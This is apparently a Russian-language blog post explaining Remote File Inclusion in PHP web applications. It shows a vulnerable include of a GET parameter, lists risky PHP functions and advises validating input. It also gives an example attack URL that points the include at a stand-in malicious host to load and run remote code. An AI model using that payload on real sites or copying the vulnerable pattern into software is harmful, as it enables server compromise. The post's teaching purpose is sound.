Удаленное подключение файлов
Пройти психологические тесты на темперамент можно по ссылке http://www.mytests.ru/tests/14/. Выкладываем результаты в комментариях, потом проверим что да как. Ну а теперь ближе к теме.
Удаленное подключение файлов (Remote File Include) - является методом нападения на веб-приложения, использующие динамически подключаемые файлы. В основном этот метод заключается в подключении файлов с вредоносным кодом на атакуемый сайт или сервер.
Смысл данной атаки заключается в следующем: злоумышленник ищет в приложении уязвимые места, которые представляют собой методы подключения файлов. Если он находит такую уязвимость, то он проверяет ее на все возможные методы подключения вредоностного кода.
Примером может являться следующий скрипт на языке PHP:
... include $_GET['file']; ...
Если где-то в середине скрипта находиться подобная строка кода, то подключение файла производиться путем поучения пути к нему через переменную file, передаваемую методом GET. Как нам известно из предыдущих статей, все переменные получаемые методами GET и POST могут быть легко изменны пользователем. Если ваш скрипт получает путь к файлу подобным образом, то злоумышленник может изменить:
script.php?file=primer.txt
на
script.php?file=http://malware.com/worm.php
что приведет к загрузке скрипта с другого сервера, а следовательно и к выполнению вредоностного кода.
Как и прежде, единственным советом при обеспечении безопасности данных скриптов является предварительная проверка входящих переменных. При обработке следует обратить внимание на длину переменной, ее тип и регулярные выражения. Уязвимыми являются функции:
- include
- require
- include_once
- require_once
- file_get_contents
- fopen
Обработка входящих данных является краеугольным камнем безопасности веб-приложений, ведь любого пользователя следует считать в каком-то роде злоумышленником.